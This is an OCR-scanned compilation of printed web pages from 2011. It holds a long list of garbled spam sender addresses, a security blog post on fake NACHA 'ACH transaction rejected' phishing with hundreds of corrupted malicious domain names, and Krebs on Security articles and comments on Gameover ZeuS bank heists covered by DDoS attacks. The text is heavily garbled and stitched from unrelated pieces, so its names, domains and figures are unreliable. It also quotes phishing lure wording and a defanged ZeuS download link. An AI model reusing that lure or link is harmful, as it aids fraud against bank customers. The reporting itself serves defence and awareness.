{envajope-from butteriesidn@@gmail.com)
{envelope-from cestsi@gmail.com)
(envelope-fror dependenceghgmait.com)
{srvelope-from dhakatx223@gail.com)
{envelopea-fram dismounts05@gmail.com)

{anveiops

{grvelope-fram hel

(envelope-from distinguishedxeA@ymall. conm
{envelope-from dagwooduid43@gmall.con)
(envelope-from dryadd@gmall.com)
(envelope-from sarthworkssmudd@gmall.com)
(envelope-from episodesmi3@ymail.com)
(prvelope-ltom epistolarieskud474@ymail.com)
{snvelopa-from excusingo6048ggmail.com)
(envelope-from foxtrotieds@gmail.com)
(erualope-from guyinghrbggmail.cam)
{snvelope-fram haitiestrwvab@gmail.com)
(ervelope-from hearthreako0@gmail.com)
{envelopg-fron helpedciZ01@@gmail.con
{envelape-from hotelierpvi g8ehgmail.com)
{anvelope-from importanitymn2@gnail.com)
(enveiope-from indefinites@gmail.cam)
tanveloge-fram indispensably$60¢hgmail.com)
(anvelope-from | womandd83@gamail.oom)
{envelape-from islanderi8ghgmail.com)
{arvetope-frora kinkedhbys@gmall.corm}
{envelope-from knottiestn@gmail.cam)
{anveltope-fran kropotkincig@gmail.com)
{envetope-from Ranies0@gmati.com)
{envelape-fron locomotivezy84ghgmail.com)
tenvelope-from: higsfo@gmail.eom)
{envelpe-Fom mantullym7@gmall.com)
(envelopa-from matzoshie 20@gail.com}
{envetope-frem mamorizing«f7 @gmail.cony
(envelope-from micronsvl Egmait.com)
{envelope-from mines2@gmall.com)
{arwelope-rom morerke896@gmait.com)
(envelope-from murkierp@gmail.com)
{arvelope-from northwesteryld@@gmali.com)
(envelope-front erbiting4@gmail.coro)
tenvelape-from organsgazadgmalt. com)
{envelope-from painfullerujt3@grmall.com)
(envafope-from palteyr63@gmail.com)
{envelope-fram phwpal Egmail.com)
(envelope-from pincushionsi208@gmai.com)
{envetope-from polyglotaxnft @graail.com)

Yy

0
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{enveiope-from prohibitorys49@gmail.com)
{envelapea-frorm guesnsiandpud@gmai.com) i
(envelope-frorn refracting08@gmail.com) :
tanyslope-from repaymertsrd rgroail.com)
{envedope-fiom raroutesob@gmail.cont)
(anvelope-from resoiljucd@gmail.com)
{ervelope-from dinestoneo@gmail.com)
{envalope-frorm ricksjn@gmail.cont}
{enveiope-from ridgepolemda3@gmail.com)

(envelope-fram sarcieruj@hgmailt.com) :
{suvelopa-from scabbediB@gmail.ocony

{envaiope-from septuagenariansi9l T@ymall.oom)

tanvelope-from sitieriatl @gmail.com)

{snivelope-from slumberad 148gmail.com) .
{envelope-from soldieringr7085@gmail.oom) ;
(envelope-from solemnizedo36@gmail.com) !
(ervelope-irom soliloguizess3@ymail.com)
{ervelope-from southernershd?7¢gmail.com;)
{envelopa-from speediyhy88@gmail.com)
{ervelope-from spokes3sGEYmMail.com)
(envelope-from subsidiary uzxsS@gmail.con
{envelope-from surmountableoalf2@amiail.com
{envelape-from termszZ7@gmall.com)
{srveiope-from thingslg@gma.con)
{envelope-from totalittestd Ggmail.com)
tervelope-from tuberous 37 mail.eomy l
(envelope-from ufati3@gmall.com) :
{onvelape-from undergoggumail.com;

{sovelope-from undertakentB@gmail.com)

{mrvelope-from undyingpé344@gmail.comy
(anvelope-from unaue stionablywwd @gniail.com)
tenvelope-kom untestedsigd 201 @gmail.con

{ from vegemitebedd42@gmailoom)

{anvelope-from victoriouswyi3ghamait.comj ;
{anvelupe-from wanvheartedwa@uniall.com)

{anvelope-from writhe78@ginail.com)

anvalop

Sor st Rpsearch i Compuler Forensics at 2:52 AM
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CyberCrime & Doing Time: More ACH Spam from NACHA

| Shers ReportAbuse Next Biogn

Page 1 of 8

Creste Blog  Sign in

CyberCrime & Doing Time

A Blog about Cyber Crime and related Justice issues

FRIDAY., MARCH 11, 2011
ACH Spam from NACHA
while we wait for the Japanese Earthquake scams to begin, we neticed another en-going spam

campaigh, We wiote about the AGH Transaction Relected spam back in February, but another
round is active. with another 350+ freshly registerad domains.

j The body of the email this time around reads:

e ACH transfer (ID: 88388185960). recently sent from your checking account {by you or
any other person). was cancelled by the other financial institution.

Flesse click here {ink) to view details

it you have any quesiions or comments, contact ug at info@nacha.org. Thark you for using
hitp:iiwww . nacha.org,

s prahivited. If you have received this commurnication In error, please delete
a5 of the message and attachments and nolily the sender immediately. /

The spam has one of the following ten subject tings:

ACH paymeni canceled

ACH paymeant refectad
ADH transaction canceled
ACH Transfar canceled
ACH transfer rejected
Rejectad AGH payment
Rejected ACH transaction
Flajocted ACH transfer
Your AGH transacdion
Your AGH transfer

. Each claims to be fram “nacha.org” - the Nationa) Automated Clearing House Assoclation - the
paople who handie electronic payments between banks.

The from addresses are;

geh@nacha.ong
admin@nacha.org
alert@@nacha.org
alerts@nacha.ory
info@nacha.arg
payment@@nachia.org
paymentsgdnacha.org
risk@nacha.omg
risk_raanaged@nacha.org

hitp://garwarner.blogspot.com/2011/03/more-ach-spam-from-nacha.html

GarWarner

UAB's Director of Research in

Combputer Forensics.
Twitter:
http:/twitier.com/GarWarner

View my compiete profiie

Subscribe To

[Eﬁ LGN ents ’ E

Blog Archive
¥ 2011 (24)

B August (4)
B July (8)
B June {1}
B May (2)
B Aprit (2)
¥ March ()

Kingpin by Kevin Poulson of
WIRED

Federal Re
UK Governmernt counts the
Cost of Cybergime

Mare ACH Spam fram
NACHA

ENISA on Botnets - Tan
Taugh Questions

Ghostnarket Carders

B Fobruary (1)
B January (2)
B 2010 (83)
B 2008 (98)
B 2008 (102)
B 2007 (31)
B 2000 (5

Labels

ching ()

camnpuier securty careers (1)
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transactions@nacha.org
trangfers@nacha.org

Hare are the domain names we are seeing this ime arounid. | haven't checked all of them, but the ig_g_cpook(Z) o
o1es | chacked were GoDaddy. (Gobaddy and Affilias have been notified, and many of the fake av {2)
domaing are already disabled.) :

qumblar (1)
maching ' law enforcament (9
ACHDESCRIBE
ACH-DETAILS !
AGHDETAILSEMERGE INFO | plushing (25)
ACH-DETAILS INFO , public policy (2)
ACHDETALS INFO ! " spain (22)
ACH-DETAILS-MAGAZINE JNFO e
ACHDETAILSMAGAZINE INFO : e
ACHOETAILSNOWINFO : hiller malwale (1)
ACHDETAILSOMLINE INFO : waledac (6)
ACHDETAILSSHOP INFO ! bt (26) '
ACHDE TAILSSITE INFO R
ACHDETAILSSTORE

ACHDETAILSTODAY INFC
ACHELEMENTS.INFO
ACH-INFORMATION-ARCHITEC TURE. INFO
ACHINFORMATIONASSURANCE INFO
ACHINFORMATIONBLOG INFO
ACHINFORMATIONINF O

AGHINF ORMATION INFC
ACHINFORMATIONLITERAGY INFO
CHINFORMATIGNNOW.INFO
ACHINFORMATIONONLINE INFO
ACHANFORMATION-SCIENCES INFO
ACHINFORMATIONSCIENCES. INFO
ACH-INFORMATION-SHARING INFO
ACHINFORMATIONSHARING INFO
AGHINEORMATIONSHOP INFO
ACHINFORMATIONS INFO
ACHINEORMATIONSITE INFO
ACHINFORMATIONS TORE INFO
ACHINEFORMATIONTODAY INFO
ACHINFORMATIONWARFARE.INFO
ACHINEORMS INFO
ACHREPORTELOG INFO
ACH-REPQRT-CARD.INFO
ACHREFORTCARDLINFG

nahwane (18)

)

\

ACH-REPORT-CARDS INFO
o

AGHR RTCARDSINFG
ACH-REPORT-COVERS INFO ;
ACHREPORTCOVERS INFO
ACH-REPORTINFO
ACHREPORTINFO
ACHREPORTNOW INFO
ACHREPORTONLINENFO

ACHREPORTSHOP INFQO §
ACHREPORTSINFG

AGHREPORTSITEINFO

ACHREPORTSTOREINFO
AGHREPORTTODAY ANFD z

htlp://garwarner.blogspot.com/2011/ 03/more-ach-spam-from-nacha.html 9/23/2011
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ACHPENAEWANF G
ATRANSFERAUDIMISSIONINFG
ATHANSFERAGENTINFO
ATRANSFERAPPLIGANTS IFO
A TRANSFERBLOGINFG i
ATRANSFERFILESINED
ATRANSFERGLIDES INFO
ATRANGFERINFO

A TRAMBFERMOVWLINFG

A TRANSFEROMLINE INFO
ATRANSFERPRICING INEG
ATRANE EOUESTANFO
A THAMBEERSHOP INFC
A-PRANGIE
A TRAME

BITEINFO

S TRANSERR-STATION. INFO §
ATIORINGEG :

RETORE NFO

A TRy CHORYLNE L
BACHAGCOUNTS INFO ;
BACHACCOUNTSINED
[S-AGHBLOBINFQ
B-ACHINFO ‘
B-ACHNOW.INFO :

B ACHONLINE RO

BACHPAYRENT INFO

BAGHPAYIIERT INF O

CHBAY BIENTS.INE

BACHPAYMENTE INFD ;
P ACHEHOP INEG i
BAGHE.INFO :
BAGHSITEINFO

B-AGHSTORE INFO

B-ACHTODAY INFO

A - TRANMSAC TIONS INFO

BACHTRANSACTIONS INFO

RESTACHE TAILS INFO

S STAGHINFORMATION JNFO

STACHREPORT INFO

S TA-TRANSFER INFC

EETE-ACH INFO

STOPAENT INFO ;
STO-PAYRENTINFO
ESTP-ACHIEC |
BESTOAGHINFD
HESTO-PAYMEMT.INFO
BESTO- TRANBFERINFQ
BESTR-TRANSFERINED
BESTT-TRANSE ERNFO
RESTV-AGH INFO ;
WLAGH B '
BESTZPAYIIENT INFO

B PAYMENTELOG.INFO

[RPAYMENTINFG

DPAYBENT NED

DIPAYRENTME THODUNFO

B

BPAYRIENTMETHODS INFO :
DPAYNENTMOWINEQ !

{3 PAYMERTORNLINEINFD
DPAYIAEMTORTION INFL

http://garwarner.blogspot.com/2011/03/more-ach-spam-from-nacha.html 9/23/2011
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DPAYMENTPROCESSING.INFO )

DPAYMENT ‘-’F\(‘)Cﬁzob()R‘th.} i

D-PAYMENTSHOP.INFO ‘
PAYRENTS INFO

S-PAYMENTSITE INFO

DEAYMENTSOLUTIONINFQ
DPAYMENTSOLUTIONS INFO

D-PAYMENTSTOREINFO i
DEAYMENTTERMINALINFO ;
FAYMENTTODAY INFO

R '»*Nbi“("‘/ v iON ?NE""O

S
ORTINFD
ORTINFO

FREE;\LE‘:sNiORM!\‘\TiON,INF("
CREEACHREPORTINFO
TRANSFERINFG
5-ACHINFO
PAYMENTINEQ
S-RAYRMENT NGO

FAYMENTINFO
FTRANSFERINFG
: RUINFO
SFERINFQ

: MEG
: (\o NFO .
3 "*\’Mt T, |N FO

\:JPAY MENT INFO

GPAYMENTMETHOD INEQ
GPAYMENTMETHODS.INFEO
P AYMENTNOWINFO
Gl ’A\’NFN“MJ\!UN INFO %

G-PAYMENTSHOF INFO
G-PAYMENTSINFO
G-PAYMENTSITENNFO
GPAYMENTSOLUTIONS INFO
G-PAYMENTSTOREIMFQ
GPAYMENTTERMINALINFO
GeRPAYMENTTORAY INFO
GRFAYMERNTTRANSACTIOMINFO
MASTER-P-ACHINKG
AAST BACH AN D
MYAGHDETAILS INFD

MY ACHINFORMATION.IMEO
MYACHREPORT.INFO :
MY A-TRAMSFERINFO
MYB-ACHINFO
MDY PAYMENT ANFO :
MY G-BAYMENT INFO ‘
MY P-ACHINEQ
MYGAGH.INFO
MY QPAYMENT.INFQ
MY TRANSFER INFO

http://garwarner.blogspot.com/2011/03/more-ach-spam-from-nacha.html 9/23/2011
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HAVE- 'I‘H‘A MNEFER RO
WYY
SAYY- f“’%L L NE C}
AYW-ACHANFO
MYE&P}‘\YM?&?NT.XNFC}
NEWALRHOE TAILSINFG
MEWACHINF (}%xl’ﬁf\T JOMLINFD
WNEWALRHREPORTINFQ :
WEWA- TRANSFEILIFC ;
MEWEATHIMNEO
BEWORFAYRMIEMT MO
MEWG-PAYMENTINFO

PRV ACHINE

NEVRACPLINEC :
NEWO-PAY MERIT AMFD ;
MEWOLTRANSFERINFG :

R %" AN
WEWH TRANY
MEAAEACH INFO
MEVWAARACELINFD
HEWZ-PAYMENT INED !
PACHACGOUNTEINFQ
PECHADGOUNTEINFQ
FADHBLOGANEO
FACHINFO

POALHNOW INFO
-”’»ALNL)N LANE NGO
PAGH-FAYRMENT INFO
PACHPAYRENT INFG
PADH-PEYRENTS.INFO

AN
INE

FACHREAYME wrs INFO
PAHSHOP IR ;
FACHS INED :

PAGHBITE INFO

PAAGHETORELINFC

PACHTODAY INFO :
PACH TRANSACTIONS IFD !
PACHTRAMSAGTIONS.INFO
QACHACCOUNTS INFO
QAGTIACCUOUNTE INFQ
CPALHI O INED
CRAGHINFC

CACHINFG
CLACHNOWANFD
Qm:kimN‘LiNmm:m
Q-ACHPAYMENT.INFO
QATHPRYMENT L xu:o
OACHPARMENTE INFD
GACHPAYNENTS INFO
Q-ATHEHOP INFE
Q-ACHBINFO

QPACHSITE INFO
Q-ACHSTORE JNFD
Q-AGHTODAINEG
Q-ALH-TRANSACTIONS.INFO
OACHTHANSACTIONS INEQ
AR MENTHLOGINEO
SEPAYMENTINFO
QPAYMENTIMETHOL INFC
QPAYMENTMETHODSE INFO

hitn//earwamer.blogsnot.com/201 1/03/more-ach-spam-from-nacha.hitml 9/23/2011
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Q-PAYMENTNOWINFQ
G-PAYMENTONUNE. INFO i

OFAYMENTOPTIONINFO i

QP AYRMENT SING.INFG

QPAYMENTPROCESSORINFO

GPAYM CHEDULEINFO

Q-PA TSHOPINFO

(-PAYR GINFO

G PAYMENTSITEFO

OPAYMENTSOLUTIONINFG

AENTSOLUTHIONS INF

Q-PAYMENTSTOREINFO

Q-PAYMENTTORAYINFO

QPAYMENTTRANSACTIONINFO

QTRANSFERADMISSION.INFO z
i
!

GTRANS S

G TRANSFERINFG

OTRANSFERAINFQ

Q-TRANSFERNOW INFO

G- TRANSFERONLINE INFQ :
SFERPRIGINGINFO

IREQUEST.INFO

RSHOPINFG

3 NEO

Q-TRAN
O TRAN RETEINFO

O TRANSEER-STATIONINFG

QTRANSFERSTATION INFQ

Q-TRANBFERSTOREINFO
Q- TRANSFERTODAY INFO

RTRANSFERADMISSION INFO
RTRANSEERAGENT.INFO
RTRANSFERAPELICANTS.INEO §
RTRANSFERBLOG INFO g
RTRANSFERFILES INFO "
HTRANSFERGUIDES INFO ;
RTRANSFER ;
FETRANS!
RTRAD ;
RTRANSTERONLINE INFG g
RTRANSEERPRICING INFO :
RTRANSFERRE
K-TRANSFERSHOPANFC

P R-TRANSF |

SITEINFO

R ;
STATIONIMNEQ

RTRANSFE

RETRANSFERTODAY INFG ;
TERMINAL-R-ACHINFO A
TERMINALBAGHINFO

THEACHDE TAILSINFO

hitn-/foarwarer hlagsnot.com/2011/03/more-ach-spam-from-nacha.html 9/23/2011
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THED-PATMENT.INFO i
SR AYMENT INFO §
SEFSACHRE O :
ACHIMED

P AYMENT NGO

S TRAMSFER NP

FANSFER INEQ

SRLINEG

7
o
T
=
z
7}
o

S ACHLINFO

PAYMENTINFO

TTRANSFERADMISSION INFO

AGERTINED

TTRANSFERAPPLIGANT S INFO

TYRABE 306G INFO

TTRANSFERFILES INPO

TEANSF ERGUIDES INFO

TTHANSFER.INFO

THRANSEERNOW.INF O

T T RANGFERONLINEINFO

TTHANGFERPRICING IMFC

TIRANSFERREQUESTINFG
T TRAMSE BREHOPINFO |
T-TRANSPERSINEQ
T-THANSEERSITEINFG

T IRANSFER-STATION INFO
TIRANSFERSTATIONINFO
T P RANSFERBTORE INFD
T-TRANSFERTOUAY INFD
VAASHRACGOUINTEINF O .
YACHAGGDUNTE INFO !
YAUHBLOG INFCG '
SACHINFU

Y ACHNMOWINFO
SAGHONLIE INFO
LAY MERET B0
VATHIPAYMENT INFO
VACH-PAYMENTEINFO
VAGHPAYMENT
WACHEHOPINFO
VAGHBINFO

W AGHSITEINFQ
V-ACHETOREINFO
VAGHTODAY INFO
VACHTRANSAUTIONS INFO
VACHTRANSACTIONS. MO
WACHAGCOUNTS INFO
WAGHACCOUNTSINFG
WACHBLOGINFD

WAGH, INFE
W-ACHMOWINED

W ACHONLINE IEO
WACHPAYMENT INFO
WACHPAYMENT INFCG
W-ACH-PAYMEN TS INFO
WACHPAYRENTSINEO %
WACHSHOP. INFO
WACHSINFO ;
VEACHSITE INFO i
VEACHETOREINFO

s

%
1
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AT T ODAY JNED
WACHTRANSACTIOMS INFO i
VUARFENGPAYMENT ANF O

AEAYMEMTARRANMGEMENT INFO

ZPAYREMTILOGNFD

FRANNMEMTCARDIMNFG

ZPAYIMENTUARGGINFG

ZPAYRENTDATES O

ZPAYMENTOEADUINEINFG

FPAYMENTOEFRITIONIEG
ZEAYNMEBNTINSTRUMENTS.INFG 3
FEAYMENTLOCATIONS INFO
ZPAYMENTONLINEINFO
FEAYRENTFLATRORNINFO
FEAYMENTPROTECTIONINFG
FRAYIAENTSHOP INFO

AP AYMEMTSINFR
LPAYMENTSITEINFO
DERYNMENTSTOREINRO

LAY NENTTODAY ANEQ

!
!
;

“Brsted by U TIGEET of Research in Gompu pr Forensios at 10:48 Af

Home Oigar Pasl
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DDoS Attacks Spell ‘Gameover’ for Banks, Victims in Cyber Heists — Krebs on Security  Page 1 of 8

Advertisement
. Subsuribe o RSS

__Folow e on Twiter

EICE]

Trusteer

Krebs on Security

In-depth security news and investigation

About the Author
About this Blog

DDoS Attacks Spell ‘Gameover’ for Banks, Victims in Cyber Heists

Hello there! 1f you are new here, you might want to subseribe to the RSS feed for updates on this topic. X
¥ ¥ You may also subscribe by email in the sidebar O

145 |

The FBI is warning that computer crooks have begun launching debilitating cyber attacks against banks and their custormers as part ofa
| smoke screen to prevent viclims from noticing simultaneous high-dollar cyber heists.

LT LI

¢« bureau says the atlacks coincide with corporate account takeovers perpetrated by
thieves who are using a modified version of the ZeuS Trojan called “Gameover.” The rash of thefts come after a series of heavy spam campaigns
aimed at deploying the malware, which arrives disguised as an email from the National Automated Clearing House Association (NACHA), a not-
for-profit group that develops operating rules for organizations that handle electronic payments. The ZeuS variant steals passwords and gives
attackers direct access to the victim’s PC and network.

In several recent attacks, as soon as thieves wired money out of a victim organization’s account, the victim’s public-facing Internet address was
targeted by a network attack, leaving employees at the organization unable lo browse the Web.

A few of the attacks have included an odd twist that appears to indicate the perpetrators are using money mules in the United States for at lcasta
portion of the heists. According to an FBI advisory, some of the unauthorized wire transfers from victim organizations have been transmitted directly
to high-end jewelry stores, “wherein the money mule comes to the actual store to pick up his $100K in jewcls (or whatever dollar amount was
wired).”

The advisory continues:

“Investigation has shown the perpetrators contact the high-end jeweler requesting to purchase precious stones and high-end watches. The
perpetrators advise they will wire the money to the jeweler’s account and someone will come to pick up the merchandise. The next day, a money
mule arrives at the store, the jeweler confirms the money has been transferred or is listed as ‘pending’ and releases the merchandise to the mule,
Later on, the transaction is reversed or cancelled (if the financial institution caught the fraud in time} and the jeweler is out whatever jewels the
money mule was able to obtain.”

The attackers also have sought to take out the Web sites of victim banks. Jose Nazario, manager of security research at Arbor Networks, a company

that specializes in helping organizations weather large cyber attacks, said that although many of the bank sites hit belong to small to mid-sized
financial institutions, the thieves also have taken out some of the larger banks in the course of recent e-heists.

http://krebsonsecurity.com/2011/1 1/ddos-attacks-spell-gameover-for-banks-victims-in-cyb... 12/2/2011
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“I’s a disturbing trend,” Nazario said.

Nazario said the handful of attacks he’s aware of in the past two weeks have involved distributed denial-of-service (DDoS) assaults launched with
the help of *Dirt Jumper” or “Russkill” botnets. Dirt Jumper is a commercial crimeware kit that is sold Tora few hundred bucks on the hacker
underground, and isnide to be surreptitiously installed on hacked FCs. The tode makes it easy for the botnet owner o use those infected systems to

ovenwhelm targeted sites with junk traffic (KrebsOnSecurity.com was the victim of g Dirt umper botnet attack earlier this month).

Sceurity experts aren’t cerlain about the strategy behind the DDoS attacks, which are noisy and noticeable to both victims and their banks. Onc
theory is that the perpetrators are hoping the outages will distract the banks and victims.

“The beliefis the DDoS is used to deflect attention from the wire transfers as well to make them unable to reverse the transactions (if found),” the
FBI said.

That strategy seemed to have worked well against Sony, which focused on weathering a DDoS$ attack from Anonymous while information on more
than 100 million customers was being siphoned by hackers,

“In the chaos of a DDoS, typically network administrators are so busy trying to keep the network up that they miss the real attack,” said Jose
Enrique Hernandez, a security expert at Prolexic, a Hollywood, Fla. based DDoS mitigation company. “It’s a basic diversion technique.”

Another theory about the DDoS-enhanced heists holds that the thieves are trying to prevent victim organizations from being able to access their
accounts online. One crime gang responsible for a large number of cyber heists against small to mid-sized U.S. businesses frequently invoked the
“kill operating system” command built into the ZeuS Trojan after robbing victims.

Organizations that bank online should understand that they are liable for any losses stemuning from cyber fraud. I have consistently advised small to
mid-sized entitics o consider using a dedicated computer for online banking — one that is not used for everyday Web surfing — and preferably a
non-Windows system, or a “live CD” distribution.

O skAre BB
Related posts:

. Financial Mogul Linked to DDoS Altacks

. FBIL Investigating Cyber Theft of $139 000 from Pittsford, NY
. Trojan Tricks Victims Into Transferring Funds

. 19 Arrested in Multi-Million Dollar ZeuS Heists

. Cyber Crooks Leave Traditional Bank Robbers in the Dust

[VNNRVUR S

Tags: Arbor Networks, DDoS, Dirt Jumper, Gameover Trojan, Jose Enrique Hernandez, Jose Nazario, NACHA, National Automated Clearing
Touse Association, Prolexic, Russkill, ZeuS Trojan

"T'his entry was posted on Wednesday, November 30th, 2011 at §0:04 am and is filed under A Little Sunshine, Latest Wamings, Target: Small Businesses, Web Fraud 2.0, You can
follow any comments to this entry through the RSS 2.0 feed. You can skip to the end and leave a comment. Pinging is currently not allowed.

20 comments

1. EHuh?

November 30, 2011 at 10:21 am

Some of our users got hit with this:

From: Lillian Hurst [mailto:ierv_chapas@firstbuscanada.com]
Sent: Tuesday, November 29, 2011 10:16 AM

To: XXXX

Subject: Direct Deposit payment was rejected

This notification is related to the ACH transaction (ID: 920532306465) that was recently sent from your banking account.

The current status of the above mentioned transaction is: failed due to the technical error. Please view the details in the report
below:

hxxp:/ omiomi.com.ar/d3ceSf/ index html

Yours truly,

Lillian Hurst

2011 NACHA — The Electronic Payments Association
13450 Sunrise Valley Drive, Suite 100

Hemdon, VA 20171

Hot debate. What do you think? [ 2 &7
Reply
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2. kW BrianKrebs
November 30, 2011 at 10:31 am

Hey Huh, do me a favor and next time don’t post a full, live and clickable download link to a ZeusS trojan server? I edited your comment to
make it unclickable. Thanks.

Well-loved. Like or Dislike: & 28 @ 4
Reply

° Huh?
November 30, 2011 at 10:47 am

Very sorry for doing that, I really wish I could have edited that after I hit submit (submitted remorse). Next time I will be more careful!

Well-loved. Like or Distike: 8 12 @3

%
Kirk

November 30, 2011 at 10:45 pm

¥

My wife got an email similar to the one mentioned and unfortunately she clicked on the link (locking at the email she clicked on it went
to some goo.gl/gibberish url shortener site that did heaven only knows what). I have updated all my anti-virus stuff and scanned
cverything but nothing showed up. Any suggestions for things to look fot or products to scan to sce if my pc is infected with this thing?
Like or Distike: 8 o @ 0

Reply

" T7

To each his own...but I would backup all my data, reformat and and wipe the drive, and then reinstall Windows. Luckily (or
unluckity), I learned 1y lesson years ago and now keep pristine disc images that make the whole process much less tedious.

Like or Dislike: (&1 2 &3 2

&Eli
| Doug

December 2, 2011 at 12:31 pm

1’d highly suggest changing your bank password too!

And you should change any other passwords that are financially relevant (trading accounts, work-related access from that
computer, etc.). Then consider changing any other passwords that you might or might not care about (Amazon, eBay, {your-
favorite-blog-site}, etc.)

Safe surfing!

Like or Dislike: @2 @ o
Reply

JOR

November 30, 2011 at 12:03 pm

Do you happen to know which source code version of zeus game over is using? was it 2.0.8.9 or a never version which i believe isnt as public?

Like or Distike: b 1 @40
Reply

[

BrianKrebs
November 30, 2011 at 12:14 pm

No, sorty I don’t but I can try to find out. I believe, but am not certain, that this is a custom version developed by a specific crime gang,
and that it is not being re-sold.

Like or Dislike: 82 @3

Reply

Scott

November 30, 2011 at 1:13 pm

I knew that I had certainly been sceing a lot of the NACHA phishing attempts lately.
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I saw something earlier as well that they were using Zeus to target Facebook users. Have you heard anything about this?
Thanks Brian!

Like or Distike: 383 @ o
Repl

BrignKrebs
November 30, 2011 at 1:15 pm

Yes, Sophos blogged about the FI3 worm attack yesterday, linking to a post in Dutch by CSIS

by /akedseeurity sophos.com/201 1/ 1129 accbook-worm-two-blonde-wonien/

Like or Dislike: B 1 &1
Reply

® % Scott
November 30,2011 at 1:46 pm

Thanks Brian....] knew it was just a matter of time. Have a great day!

Like or Dislike: 8 o B 1
Reply,

3. chnl

November 30, 2011 at 5:09 pm

Why is it again that it’s so hard to bring down the sites purveying the crimeware ?
They’re in some country with lax laws or enforcement ?

Like or Dislike; [8 2 &2
Reply

° helly
December 1, 2011 at 6:24 pm
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Correct in part about the servers occasionally being in countries that are difficult to work with. In addition there are a huge volume of

{hese malicious sites out there, making it extremely time consuming to try and track and shut down all of them.

Also the sites really only need to be up for a short while to be effective. If I'm a bad guy 1 hack into a legit web server, put up my

malicious page and send out my emails. This could take place of 2 couple of hours really, and still be very profitable.
In short it is an extremely difficult task to simply shut these down pro-actively unfortunately!

Like or Dislike: 18 1 @ o
Reply

6. m Kevin

November 30, 2011 at 10:38 pm

We've been getting the NACHA emails at work for weeks, Today we got {hree very, very similar emails that were allegedly from irs.gov.

Like or Dislike: (&) | & 0
Repl

7. Mike Angelinovich
December 1, 2011 at 2:22 pm

Make sure your Bank or Credit Union provides an Authentication solution that uses the Login credentials you enter plus a Login credential you
do not enter. Why? Because Zeus uses a real-time Keylogger to steal your Login credentials as you enter them. If you have another credential

that you do not enter then Zeus can not steal it and will not be able to access your online bank account.

Most of these types of Authentication solutions are too expensive for Barks to issue and cumbersome for the end users, such as a Smart-card
& Reader or 2 USB token. However, there is a Software solution available that evolved from the Smart-card and has been protecting online

banking for some time. This type of solution is highly affordable for a Bank to deploy to the masses and is user friendly.

Like or Distike: & &1
Reply

b

—
Degember 1, 2011 at 11:29 pim
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8,

Too expensive? We’ll see. They don’t have to be too cumbersome Personally I just think the banks have not been motivated cnough.
But a few widespread attacks like this on consumers (for which the bank has to eat all or a large part of the losses) will hopefully change
the trend.

Like or Dislike: B
Reply

] Mike Angelinovich
December 2, 2011 at 3:16 am

T agree that a Smart card & Reader is the way to go but the Banks do nol need to spend the money to achieve the exact same result
as the software solution is currently providing for almost nothing per user. This software was designed to do exactly what a Smart
card does. After the user enters their Password the software is autormnatically triggered to generate a new onetime only dynamic
authentication credential from the users PC and sends it automatically to the Bank’s authentication server for validation with the
user’s credentials. Once it is validated, the server sends the user a new virtual token to be used for the next time the user logs into
their online bank account. What is even more secure than the Smart card solution is that the new virtal token must be returned to
its original source before it grants access into that online account and it is monitored at both the server end and the user’s PC end.
This is very strong MFA and is fully portable and flexible to the point that a user can elect to use it as a hardware solution without
the Bank issuing any hardware. The user can elect to store the new virtual token in their own USB Memory Stick and take it with
them to access their online account securely from any PC or Mac anywhere. Anheuser-Busch Employecs’ Credit Union and their
online banking users across the nation describe it as leading edge security technology. So why should a Bank spend tons of money
on issuing $mart cards & Readers? Plus users must carry those readers with them if they wish to access their account from a
different computer and that is cumibersome.

Like or Dislike: \&) | 64 0
Reply

E dex2

December 1. 2011 at 7:33 pm

I personally have a netbook which has ubuntu on it. It is my bank machine. Any banking information at all goes through that netbook and
nothing else. I even remove the battery while not in use —not for paranoia, but because the battery holds a charge for much longer when it’s
disconnected.

Like or Distike: B 1 @ o

Repl
. ﬁ YankDownUnder

December 2, 2011 at 1:46 am

“Microsoft Windows is safe and easy to use!” —as per Microsoft marketing.

Why businesses — of any size —depend on the least secure product on the market to perform vital tasks like banking is beyond my ken - 20
years of proof...c’mon...

Like or Dislike: (&l ( &id 2

Repl
. ﬁchrt’s

December 2, 2011 a 5:56 am

I'm seeing a lot of “ACH transfer failed” and “IRS” mails lately, as well as “DHL Express Delivery Notification” mails.
These always contain a ZIP file with a lengthy filename and all in alf look like amateur work. I've seen far better.

Like or Dislike: B o & o
Reply
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Phishers and cyber thieves have been casting an unusually wide net lately, blasting out huge volumes of fraudulent email designed to
spread password-stealing banking Trojans, Judging from the number of victims who reported costly cyber heist in the past two weeks,
manty small to mediwm sized organizations took the bait.
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These fake NACHA lures were mailed the week
of Sept. 19, even thougl the sent date on the
message says Aug. 3. Source: Commtouch,

Security finn Symantec says it detected an unprecedented jump in spam blasts containing “polymorphic matware,” — malicious software that
constanily changes its appearance to evade security software. One of the most tricd-and-true lures used in these attacks is an email crafted to look
like it was sent by NACTA, a not-for-profit group that develops operating rules for organizations that handle electronic payments, from payroll
direct deposits to online bill pay services.

Using NACHAs name as bait is doubly insulting because victims soon find new employees — money mules — added to their payroll. After adding
the mules, the thieves use the victim’s online banking credentials to push through an unauthorized batch of payroll paytments to the mules, who are
instructed to pull the money out in cash and wire the funds (minus a commission) averseas.

On Sept. 13, computer crooks stole approximately $120,000 from Oncology Services of North Alabama, a component of the Center for Cancer
Care, a large medical health organization in Alabama. John Ziak, director of information technotogy at the center, said he suspects the
organization’s accounting firm was the apparent source of the compromise, That means other clients may also have been victimized. He declined to
name the accounting firm.
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Ziak said the bank was able to block some of the fraudulent transfers, but that it was too soon to say how much the thieves got away with. But the
center may have better leverage than most victims in convincing the bank to accommodate them: Many of its doctors are on the board of directors of
the organization’s bank.

“We stiil don’t know how much is going to be coming back,” Ziak said. “We can chalk it up to lessons learned, but we’re going to be making some
changes with the bank... forcing them to implement a higher level of security for our account.”

Last month, computer crooks also robbed the North Putnam Community School Corporation, which serves the children of six northern townships
of Putnam County, Indiana.

Mary Sugg Lovejoy, superintendent of the K-12 school system, said thieves stole about $98,000 from school coffers, sending the money to
numerous individuals who had no prior business with the school district. Fortunately for North Putnam, all of the fraudulent transfers were returned
shortly after the attack, Lovejoy said.

In a separate attack on a public institution, malicious hackers Jast month struck the City of Oakdale, Calif., according to a story in the Modesto Bee.
High-tech criminals stole $118,000 from a city bank account, the publication reported last week. Oakdale city officials are confident that its
insurance carrier would reimburse the loss, minus a $2,500 deductible.

But that story ended on a sour note. The reporter quoted officials from the city’s bank, Oak Valley Community Bank, wrongly laying blame for the
incident on a lack of technology and security.

“It’s the same story we hear from a lot of institutions,” Oak Valley President Chris Courtney said, “1t’s about safekeeping the information on your
computers, scanning for viruses and having a state-of-the-art security system.”

